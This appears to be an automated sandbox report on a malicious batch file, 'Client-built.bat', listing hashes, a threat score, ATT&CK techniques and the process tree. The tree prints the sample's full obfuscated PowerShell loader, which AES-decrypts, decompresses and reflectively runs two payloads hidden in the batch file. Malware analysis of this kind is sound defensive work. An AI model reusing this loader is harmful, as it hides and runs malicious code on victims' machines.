69d3f18cd40fe951e863d6f7cb34f623ae1f169a030c166efd713630744b14da

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
12-05-2024 15:22

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General

Target

Client-built.bat
Size

1.9MB
MD5

ca98faeecf7f69f417e6b8e706986b2e
SHA1

2ed0d04b476658f57e50b86dba53cdc0edb379e8
SHA256

69d3f18cd40fe951e863d6f7cb34f623ae1f169a030c166efd713630744b14da
SHA512

ad3a6e51492f68bf623b08d01d8d9cc9bc58a6496e04c734ddacd2be120987f56ff228bf24f92a67aff408d801a670cfbb83564907219523776b7a8263b41d64
SSDEEP

24576:DqPPl9YNqSrDNfqgg4edWKa1tpD0jH3F8DbFkBNKUXuiFgZULkB4VmVc0i6MwGxb:W1cqzx/WOrBSkQJ8b

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2836 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2836 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2836 powershell.exe

pid	process
2836	powershell.exe

pid	process
2836	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2836	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2732 wrote to memory of 2828	2732	cmd.exe	cmd.exe
PID 2732 wrote to memory of 2828	2732	cmd.exe	cmd.exe
PID 2732 wrote to memory of 2828	2732	cmd.exe	cmd.exe
PID 2732 wrote to memory of 2836	2732	cmd.exe	powershell.exe
PID 2732 wrote to memory of 2836	2732	cmd.exe	powershell.exe
PID 2732 wrote to memory of 2836	2732	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2732

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LfcFzG8RsgFQuzCbge5AZWKnjDyvcb7J2DMyfnjW+WE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('t0LkWuaxKmd71m5FdnY80w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vGXxC=New-Object System.IO.MemoryStream(,$param_var); $MJyez=New-Object System.IO.MemoryStream; $GEiaV=New-Object System.IO.Compression.GZipStream($vGXxC, [IO.Compression.CompressionMode]::Decompress); $GEiaV.CopyTo($MJyez); $GEiaV.Dispose(); $vGXxC.Dispose(); $MJyez.Dispose(); $MJyez.ToArray();}function execute_function($param_var,$param2_var){ $wRrOX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $JYzvg=$wRrOX.EntryPoint; $JYzvg.Invoke($null, $param2_var);}$BMtWH = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$host.UI.RawUI.WindowTitle = $BMtWH;$VjJUr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($BMtWH).Split([Environment]::NewLine);foreach ($buUQD in $VjJUr) { if ($buUQD.StartsWith('ZyCIkpbtJnSamEKtqvbb')) { $OKyUT=$buUQD.Substring(20); break; }}$payloads_var=[string[]]$OKyUT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
2⤵
PID:2828

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2836

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2836-4-0x000007FEF5CFE000-0x000007FEF5CFF000-memory.dmp

Filesize
4KB

Download
memory/2836-5-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2836-8-0x000007FEF5A40000-0x000007FEF63DD000-memory.dmp

Filesize
9.6MB

Download
memory/2836-7-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2836-10-0x000007FEF5A40000-0x000007FEF63DD000-memory.dmp

Filesize
9.6MB

Download
memory/2836-9-0x000007FEF5A40000-0x000007FEF63DD000-memory.dmp

Filesize
9.6MB

Download
memory/2836-6-0x000007FEF5A40000-0x000007FEF63DD000-memory.dmp

Filesize
9.6MB

Download
memory/2836-11-0x000007FEF5A40000-0x000007FEF63DD000-memory.dmp

Filesize
9.6MB

Download
memory/2836-12-0x000007FEF5CFE000-0x000007FEF5CFF000-memory.dmp

Filesize
4KB

Download
memory/2836-13-0x000007FEF5A40000-0x000007FEF63DD000-memory.dmp

Filesize
9.6MB

Download